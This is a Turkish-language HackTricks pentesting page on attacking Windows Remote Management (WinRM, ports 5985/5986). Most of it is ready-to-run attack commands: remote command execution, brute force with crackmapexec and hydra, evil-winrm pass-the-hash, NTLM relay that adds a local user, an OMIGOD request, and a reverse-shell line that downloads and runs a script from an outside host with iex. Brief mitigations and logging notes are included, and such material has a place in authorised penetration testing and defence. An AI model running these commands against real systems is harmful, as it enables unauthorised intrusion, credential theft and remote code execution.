5985,5986 - Pentesting WinRM

Reading time: 11 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

WinRM

Windows Remote Management (WinRM), Microsoft tarafından vurgulanan bir protokoldür ve Windows sistemlerinin uzaktan yönetimini HTTP(S) üzerinden sağlar, bu süreçte SOAP kullanır. Temelde WMI tarafından desteklenmektedir ve WMI işlemleri için HTTP tabanlı bir arayüz olarak kendini sunar.

Bir makinede WinRM'in varlığı, PowerShell aracılığıyla basit uzaktan yönetim sağlar; bu, diğer işletim sistemleri için SSH'nin nasıl çalıştığına benzer. WinRM'in çalışıp çalışmadığını belirlemek için belirli portların açılıp açılmadığını kontrol etmek önerilir:

  • 5985/tcp (HTTP)
  • 5986/tcp (HTTPS)

Yukarıdaki listeden açık bir port, WinRM'in kurulu olduğunu gösterir ve böylece uzaktan bir oturum başlatma girişimlerine izin verir.

WinRM Oturumu Başlatma

WinRM için PowerShell'i yapılandırmak üzere, Microsoft'un Enable-PSRemoting cmdlet'i devreye girer ve bilgisayarı uzaktan PowerShell komutlarını kabul edecek şekilde ayarlar. Yükseltilmiş PowerShell erişimi ile, bu işlevselliği etkinleştirmek ve herhangi bir hostu güvenilir olarak belirlemek için aşağıdaki komutlar çalıştırılabilir:

bash
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

Bu yaklaşım, trustedhosts yapılandırmasına bir joker karakter eklemeyi içerir; bu adım, sonuçları nedeniyle dikkatli bir değerlendirme gerektirir. Ayrıca, saldırganın makinesinde ağ türünün "Genel"den "İş"e değiştirilmesinin gerekli olabileceği de belirtilmiştir.

Ayrıca, WinRM wmic komutu kullanılarak uzaktan etkinleştirilebilir, aşağıda gösterildiği gibi:

bash
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

Bu yöntem, uzaktan WinRM kurulumu yapmayı sağlar ve Windows makinelerini uzaktan yönetme esnekliğini artırır.

Yapılandırıldığını Test Et

Saldırı makinenizin kurulumunu doğrulamak için, hedefin WinRM'nin düzgün bir şekilde yapılandırılıp yapılandırılmadığını kontrol etmek için Test-WSMan komutu kullanılır. Bu komutu çalıştırarak, başarılı bir yapılandırmayı gösteren protokol versiyonu ve wsmid ile ilgili ayrıntılar almayı beklemelisiniz. Aşağıda, yapılandırılmış bir hedef ile yapılandırılmamış bir hedef için beklenen çıktıyı gösteren örnekler bulunmaktadır:

  • Doğru bir şekilde yapılandırılmış bir hedef için, çıktı aşağıdaki gibi görünecektir:
bash
Test-WSMan <target-ip>

Yanıt, WinRM'nin doğru bir şekilde yapılandırıldığını belirten protokol sürümü ve wsmid hakkında bilgi içermelidir.

  • Aksine, WinRM için yapılandırılmamış bir hedef için, böyle ayrıntılı bir bilgi elde edilemeyecek ve uygun bir WinRM yapılandırmasının yokluğunu vurgulayacaktır.

Bir komut çalıştır

Hedef makinede ipconfig komutunu uzaktan çalıştırmak ve çıktısını görüntülemek için:

bash
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

Ayrıca, mevcut PS konsolunuzda bir komut çalıştırabilirsiniz Invoke-Command aracılığıyla. Diyelim ki yerel olarak enumeration adında bir fonksiyonunuz var ve bunu uzaktaki bir bilgisayarda çalıştırmak istiyorsunuz, bunu yapabilirsiniz:

bash
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

Bir Script Çalıştırın

bash
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

Ters kabuk al

bash
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

PS oturumu al

Etkileşimli bir PowerShell kabuğu almak için Enter-PSSession kullanın:

bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

Oturum, "kurban" içinde yeni bir süreçte (wsmprovhost) çalışacaktır.

WinRM'yi Açmaya Zorlama

PS Remoting ve WinRM kullanmak için ancak bilgisayar yapılandırılmamışsa, bunu şu şekilde etkinleştirebilirsiniz:

bash
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

Oturumları Kaydetme ve Geri Yükleme

Bu çalışmaz eğer dil uzaktaki bilgisayarda kısıtlıysa.

bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

Bu oturumlar içinde Invoke-Command kullanarak PS betikleri yükleyebilirsiniz.

bash
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

Hatalar

Aşağıdaki hatayı bulursanız:

enter-pssession : Uzak sunucu 10.10.10.175'e bağlanma, aşağıdaki hata mesajı ile başarısız oldu : WinRM istemcisi isteği işleyemiyor. Kimlik doğrulama şeması Kerberos'tan farklıysa veya istemci bilgisayarı bir domaine katılmamışsa, HTTPS taşıma kullanılmalı veya hedef makine TrustedHosts yapılandırma ayarına eklenmelidir. TrustedHosts'u yapılandırmak için winrm.cmd kullanın. TrustedHosts listesindeki bilgisayarların kimlik doğrulamasının yapılmamış olabileceğini unutmayın. Bununla ilgili daha fazla bilgi almak için aşağıdaki komutu çalıştırabilirsiniz: winrm help config. Daha fazla bilgi için, about_Remote_Troubleshooting Yardım konusuna bakın.

İstemcide deneme (bilgiler buradan):

ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

WinRM bağlantısı linux'ta

Kaba Kuvvet

Dikkatli olun, winrm'yi kaba kuvvetle kırmak kullanıcıları engelleyebilir.

ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

evil-winrm Kullanımı

ruby
gem install evil-winrm

belgeleri github'dan okuyun: https://github.com/Hackplayers/evil-winrm

ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

Evil-winrm ile bir IPv6 adresine bağlanmak için, /etc/hosts dosyasına bir giriş oluşturun ve alan adını IPv6 adresine ayarlayarak o alana bağlanın.

Hash'i evil-winrm ile geçirin

ruby
evil-winrm -u <username> -H <Hash> -i <IP>

PS-docker makinesi kullanma

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

Bir ruby script kullanma

Kod buradan alınmıştır: https://alamot.github.io/winrm_shell/

ruby
require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

Son Güvenlik Açıkları ve Saldırı Teknikleri (2021-2025)

NTLM relay doğrudan WinRM (WS-MAN)

Impacket 0.11 (Mayıs 2023) itibarıyla ntlmrelayx.py, yakalanan NTLM kimlik bilgilerini doğrudan bir WS-MAN/WinRM dinleyicisine iletebilir. Bir ana bilgisayar hala şifrelenmemiş HTTP (5985) üzerinde dinliyorsa, bir saldırgan mitm6 (veya Responder) kullanarak kimlik doğrulamayı zorlayabilir ve SYSTEM düzeyinde kod yürütme elde edebilir:

bash
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
--command "net user pwned P@ssw0rd! /add"

Mitigasyonlar

  • HTTP dinleyicilerini devre dışı bırakın – Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false
  • HTTPS'yi zorlayın ve son Windows sürümlerinde Kimlik Doğrulama için Genişletilmiş Koruma (EPA) etkinleştirin.

OMIGOD – CVE-2021-38647 (Azure OMI)

Azure Linux ajanları, Open Management Infrastructure (OMI) hizmetini kullanır ve bu hizmet WinRM/WS-MAN API'sini 5985/5986 portlarında açar. Bir mantık hatası, kimlik doğrulaması yapılmamış RCE'ye root olarak izin verdi:

text
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml …/>'

OMI'yi (sürüm ≥ 1.6.8-1) yamanın veya kaldırmanın ve bu portları İnternet'ten engellemenin.

WSMan.Automation COM kötüye kullanımı ile yan hareket

WinRM, WSMan.Automation COM nesnesi aracılığıyla PowerShell olmadan çalıştırılabilir – Kısıtlı Dil modundaki sistemlerde faydalıdır. SharpWSManWinRM gibi araçlar bu tekniği sarmalar:

powershell
$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
$cmdId   = $session.Command('cmd.exe',@('/c','whoami'))
$session.Signal($cmdId,0)

İcra zinciri (svchost → wmiprvse → cmd.exe), klasik PS-Remoting ile aynıdır.


Araç güncellemeleri

  • Evil-WinRM v3.x (2024) – artık Kerberos (-k / --spn) ve sertifika tabanlı kimlik doğrulama (--cert-pem/--key-pem), oturum kaydı (-L) ve uzak yol tamamlama özelliğini devre dışı bırakma yeteneğini destekliyor (-N).
bash
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
  • Python – pypsrp 0.9 (2024), CredSSP ve Kerberos dahil olmak üzere Linux'tan WinRM & PS-Remoting sunar:
python
from psrp.client import Client
c = Client('srv01', username='ACME\\j.doe', ssl=True)
print(c.execute_cmd('ipconfig /all').std_out.decode())
  • TespitMicrosoft-Windows-WinRM/Operational günlüğünü izleyin:
  • Olay 91 / 163 – shell oluşturuldu
  • Olay 182 – kimlik doğrulama hatası
  • Güvenlik günlüğünde olay 4262 kaynak IP'yi kaydeder (Temmuz 2022 CUs eklendi). Bunları merkezi olarak toplayın ve anonim veya dış IP'ler için uyarı verin.

Shodan

  • port:5985 Microsoft-HTTPAPI

Referanslar

HackTricks Otomatik Komutlar

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin